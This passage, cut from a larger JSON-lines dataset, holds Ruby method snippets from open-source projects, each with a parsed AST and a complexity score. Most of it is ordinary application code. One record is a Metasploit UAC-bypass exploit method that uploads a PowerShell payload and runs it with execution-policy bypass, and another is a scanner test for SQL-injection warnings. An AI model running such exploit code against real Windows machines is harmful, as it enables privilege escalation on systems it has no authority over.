end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"model_family\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mistral-large\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"mistral-large\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mistral-medium\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"mistral-medium\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mistral-small\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"mistral-small\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ministral\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"ministral\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"codestral\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"codestral\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"pixtral\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"pixtral\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mistral-embed\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"mistral-embed\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mistral-moderation\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"mistral-moderation\"]}]},{\"type\":\"str\",\"children\":[\"mistral\"]}]}]}","id":"0d392fd5-ea18-4609-9a20-fe86cfcc8be8"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":379,"raw_source":"def test_sql_injection_in_find_by!\n    assert_warning :type => :warning,\n      :warning_code => 0,\n      :fingerprint => \"6f743b0a084c132d3bd074a0d22e197d6c81018028f6166324de1970616c4cbd\",\n      :warning_type => \"SQL Injection\",\n      :line => 48,\n      :message => /^Possible\\ SQL\\ injection/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/users_controller.rb\",\n      :user_input => s(:call, s(:params), :[], s(:lit, :user_search))\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_in_find_by!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"6f743b0a084c132d3bd074a0d22e197d6c81018028f6166324de1970616c4cbd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[48]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"user_search\"]}]}]}]}]}]}]}","id":"90a78568-24dc-472d-8957-f7cd61671976"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/routes.rb","start_line":26,"raw_source":"def length\n        routes.length\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes\"]},\"length\"]}]}","id":"7397c0ac-c14a-4e18-8af3-3d883a339d88"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/project_presenter.rb","start_line":412,"raw_source":"def wiki_anchor_data\n    return unless project.wiki_enabled? && can_read_wiki?\n\n    if project.wiki.has_home_page?\n      AnchorData.new(false, statistic_icon('book', 'subtle') + _('Wiki'), project_wiki_path, 'btn-default', nil, nil)\n    elsif can_create_wiki?\n      icon = statistic_icon('plus', 'info')\n      label = icon + _('Add Wiki')\n      AnchorData.new(false, label, project_create_wiki_path, nil, nil, nil)\n    end\n  end","complexity_score":28.5,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_anchor_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"wiki_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"can_read_wiki?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"wiki\"]},\"has_home_page?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AnchorData\"]},\"new\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statistic_icon\",{\"type\":\"str\",\"children\":[\"book\"]},{\"type\":\"str\",\"children\":[\"subtle\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Wiki\"]}]}]},{\"type\":\"send\",\"children\":[null,\"project_wiki_path\"]},{\"type\":\"str\",\"children\":[\"btn-default\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_create_wiki?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"icon\",{\"type\":\"send\",\"children\":[null,\"statistic_icon\",{\"type\":\"str\",\"children\":[\"plus\"]},{\"type\":\"str\",\"children\":[\"info\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"icon\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Add Wiki\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AnchorData\"]},\"new\",{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"project_create_wiki_path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]}","id":"1ccea072-87ef-4699-833c-3f398367bcbc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/npm/package_finder.rb","start_line":42,"raw_source":"def packages_for_namespace\n        ::Packages::Npm::Package.for_projects(namespace.all_projects)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"packages_for_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Npm\"]},\"Package\"]},\"for_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"all_projects\"]}]}]}","id":"44c962c6-51c2-41c8-8c8f-9137413f2d56"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/personal_access_tokens_finder.rb","start_line":153,"raw_source":"def by_user_types_with_in_operator_optimization(tokens)\n    user_types = Array(params[:user_types]).map(&:to_sym)\n    owner_type = @params[:owner_type]&.to_sym\n    user_types = Array(owner_type) if owner_type\n    user_types_values = user_types.filter_map { |user_type| HasUserType::USER_TYPES[user_type] }\n\n    return tokens if user_types_values.empty?\n    return tokens.for_user_types(user_types_values) if user_types_values.one?\n\n    user_types_values_string = user_types_values.map { |user_type_value| \"(#{user_type_value})\" }.join(', ')\n\n    # rubocop:disable CodeReuse/ActiveRecord -- https://docs.gitlab.com/development/database/efficient_in_operator_queries/\n    array_scope = PersonalAccessToken.select(:user_type).from(\"(VALUES #{user_types_values_string}) tbl(user_type)\")\n\n    array_mapping_scope = ->(user_type_expression) do\n      PersonalAccessToken.where(PersonalAccessToken.arel_table[:user_type].eq(user_type_expression))\n    end\n\n    finder_query = ->(_expression, id_expression) do\n      PersonalAccessToken.where(PersonalAccessToken.arel_table[:id].eq(id_expression))\n    end\n    # rubocop:enable CodeReuse/ActiveRecord\n\n    Gitlab::Pagination::Keyset::InOperatorOptimization::QueryBuilder.new(\n      scope: tokens,\n      array_scope: array_scope,\n      array_mapping_scope: array_mapping_scope,\n      finder_query: finder_query\n    ).execute\n  end","complexity_score":48.1,"ast_json":"{\"type\":\"def\",\"children\":[\"by_user_types_with_in_operator_optimization\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_types\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_types\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"owner_type\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"owner_type\"]}]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner_type\"]},{\"type\":\"lvasgn\",\"children\":[\"user_types\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"owner_type\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_types_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_types\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HasUserType\"]},\"USER_TYPES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"user_type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_types_values\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_types_values\"]},\"one?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"for_user_types\",{\"type\":\"lvar\",\"children\":[\"user_types_values\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_types_values_string\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_types_values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_type_value\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_type_value\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"array_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessToken\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_type\"]}]},\"from\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(VALUES \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_types_values_string\"]}]},{\"type\":\"str\",\"children\":[\") tbl(user_type)\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"array_mapping_scope\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_type_expression\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessToken\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessToken\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_type\"]}]},\"eq\",{\"type\":\"lvar\",\"children\":[\"user_type_expression\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"finder_query\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_expression\"]},{\"type\":\"arg\",\"children\":[\"id_expression\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessToken\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessToken\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"eq\",{\"type\":\"lvar\",\"children\":[\"id_expression\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"InOperatorOptimization\"]},\"QueryBuilder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"tokens\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_scope\"]},{\"type\":\"lvar\",\"children\":[\"array_scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_mapping_scope\"]},{\"type\":\"lvar\",\"children\":[\"array_mapping_scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finder_query\"]},{\"type\":\"lvar\",\"children\":[\"finder_query\"]}]}]}]},\"execute\"]}]}]}","id":"bf8ff251-89e6-45ab-9a7d-b19c1cbab561"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/js_locale_helper.rb","start_line":320,"raw_source":"def self.moment_locale(locale, timezone_names: false)\n    _, filename = find_moment_locale([locale], timezone_names: timezone_names)\n    if filename && File.exist?(filename)\n      <<~JS\n        (function(){\n        #{File.read(filename)}\n        }).apply(globalThis);\n      JS\n    else\n      \"\"\n    end\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"moment_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]},{\"type\":\"kwoptarg\",\"children\":[\"timezone_names\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"find_moment_locale\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timezone_names\"]},{\"type\":\"lvar\",\"children\":[\"timezone_names\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(function(){\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"}).apply(globalThis);\\n\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"3cd9f5c7-c496-4e9e-8029-a8b74a6924a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240604111324_add_approval_policy_rules_fk_on_approval_project_rules.rb","start_line":16,"raw_source":"def down\n    remove_foreign_key_if_exists :approval_project_rules, column: :approval_policy_rule_id\n    remove_concurrent_index_by_name :approval_project_rules, INDEX_NAME\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"approval_project_rules\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"approval_policy_rule_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"approval_project_rules\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}","id":"f68f5408-216c-4040-94cf-57b342e9267d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/profiles/user_edit_profile_spec.rb","start_line":23,"raw_source":"def visit_user\n    visit user_path(user)\n    wait_for_requests\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"user_path\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"e8af395a-0e7f-4da0-b677-68a93045304c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/block_delimiters.rb","start_line":303,"raw_source":"def whitespace_after?(range, length = 1)\n          /\\s/.match?(range.source_buffer.source[range.begin_pos + length, 1])\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"whitespace_after?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]},{\"type\":\"optarg\",\"children\":[\"length\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source_buffer\"]},\"source\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin_pos\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"length\"]}]},{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"38e8fcc1-fbdd-4778-a842-3299d0609a3f"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/instance_variable_assumption.rb","start_line":55,"raw_source":"def variables_from_context\n        method_expressions.map do |method|\n          method.each_node(:ivar, [:or_asgn]).map(&:name)\n        end.flatten\n      end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"variables_from_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_expressions\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"each_node\",{\"type\":\"sym\",\"children\":[\"ivar\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"or_asgn\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},\"flatten\"]}]}","id":"6e3c9932-94e2-4ffd-9d6f-79c337b129d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_silentcleanup.rb","start_line":79,"raw_source":"def exploit\n    check_permissions\n\n    e_vars = get_envs('TEMP')\n    payload_fp = \"#{e_vars['TEMP']}\\\\#{rand_text_alpha(8)}.ps1\"\n\n    # Write it to disk, run, delete\n    upload_payload_ps1(payload_fp)\n    vprint_good(\"Payload uploaded to #{payload_fp}\")\n\n    cmd_exec(\"#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}\")\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_permissions\"]},{\"type\":\"lvasgn\",\"children\":[\"e_vars\",{\"type\":\"send\",\"children\":[null,\"get_envs\",{\"type\":\"str\",\"children\":[\"TEMP\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_fp\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e_vars\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEMP\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".ps1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_payload_ps1\",{\"type\":\"lvar\",\"children\":[\"payload_fp\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload uploaded to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_fp\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PSH_PATH\"]}]}]}]},{\"type\":\"str\",\"children\":[\" -ep bypass \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_fp\"]}]}]}]}]}]}","id":"e49d546f-29a0-4c6a-a0b0-4c8645eee9d5"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/sync_run.rb","start_line":153,"raw_source":"def row_failure_percent\n    return 0.0 if total_rows.zero?\n\n    ((failed_rows.to_f / total_rows) * 100).round(2)\n  end","complexity_score":12.45,"ast_json":"{\"type\":\"def\",\"children\":[\"row_failure_percent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_rows\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"float\",\"children\":[0.0]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_rows\"]},\"to_f\"]},\"/\",{\"type\":\"send\",\"children\":[null,\"total_rows\"]}]}]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]}]}","id":"d6335dd4-72ea-4220-985e-6184c6af7fbd"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb","start_line":18,"raw_source":"def create\n      inbound_email = create_inbound_email(new_mail)\n      redirect_to main_app.rails_conductor_inbound_email_url(inbound_email)\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inbound_email\",{\"type\":\"send\",\"children\":[null,\"create_inbound_email\",{\"type\":\"send\",\"children\":[null,\"new_mail\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"main_app\"]},\"rails_conductor_inbound_email_url\",{\"type\":\"lvar\",\"children\":[\"inbound_email\"]}]}]}]}]}","id":"16629a52-7afb-47f0-9ebc-f0932bd1892a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/feature_spec.rb","start_line":1247,"raw_source":"def thing_enabled?\n    described_class.enabled?(key, thing)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"thing_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"enabled?\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"send\",\"children\":[null,\"thing\"]}]}]}","id":"dd7dc352-bc4d-436b-9251-0d2e0aac00f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/encrypted_redis_command.rb","start_line":15,"raw_source":"def normalized_instance_name(instance)\n        if instance.is_a?(Class)\n          # Gitlab::Redis::SharedState => sharedstate\n          instance.name.demodulize.to_s.downcase\n        else\n          # Drop all hyphens, underscores, and spaces from the name\n          # eg.: shared_state => sharedstate\n          instance.gsub(/[-_ ]/, '').downcase\n        end\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"normalized_instance_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"name\"]},\"demodulize\"]},\"to_s\"]},\"downcase\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[-_ ]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"downcase\"]}]}]}","id":"d6b776fb-85f0-40b9-83a6-6c71252be09c"}
